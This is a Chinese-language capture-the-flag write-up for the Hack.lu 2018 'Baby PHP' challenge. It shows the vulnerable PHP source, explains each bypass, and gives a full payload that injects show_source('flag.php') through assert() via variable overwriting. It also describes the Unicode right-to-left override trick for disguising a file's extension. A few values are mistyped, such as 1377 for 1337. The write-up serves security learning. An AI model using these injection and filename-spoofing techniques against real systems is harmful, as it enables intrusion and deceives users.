Hack.lu CTF 2018 - Baby PHP

Hack.lu CTF 2018 - Baby PHP 

源码如下:

<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

利用php -a 交互shell来测试,windows下用ctrl+z linux ctrl+d

0x01file_get_contents

file_get_contents($msg)!=="Hello Challenge!"

可以使用?msg=data://text,plain,Hello Chanllenge或者?msg=php://input    post Hello Chanllenge

0x02intval($k1) !== $cc || $k1 === $cc

$k1=1377.7,'1377',都可以绕过,直接传$k1=1377就行了,默认传进去字符串

0x03is_numeric

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

这里看仔细了,^\d+$ ,是美元符号占了三个字节而不是$,以xxx结尾的意思。

这里可以利用弱相等的,传入一共长度为42,并且弱类型相等于1337的字符

$k2='000000000000000000000000000000000001337$';

0x04substr($cc, $bb) === sha1($cc)

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
die("lel no\n");
}

$b=1;//;"b"=a$;"2" = b 其实应该是反向的,$b="2";$a="b";
这里有个trick
大致意思就是在文本前插入\u202e就会反向输出后续的字符
例如
//file.txt.exe‮
//unicode编码
\u0066\u0069\u006c\u0065\u002e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//插入\u202e
\u0066\u0069\u006c\u0065\u002e\u202e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//unicode解码
//file.exe.txt

传入空数组,绕过===,并且利用$$可变变量,导致变量覆盖,绕过$$a!==$k1

$k1=2, cc[]=

  

0x05assert()

assert("$bb == $cc");直接注释掉后面的语句,并且利用foreach中的$$变量覆盖,直接覆盖$bb的值

bb=show_source('flag.php');//

 

payload

msg=data://text/plain,Hello%20Challenge!&key1=1337&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=show_source('flag.php');//  

 

学习资料:

https://xz.aliyun.com/t/3006

posted @ 2019-09-24 00:50  yunying  阅读(469)  评论(0编辑  收藏  举报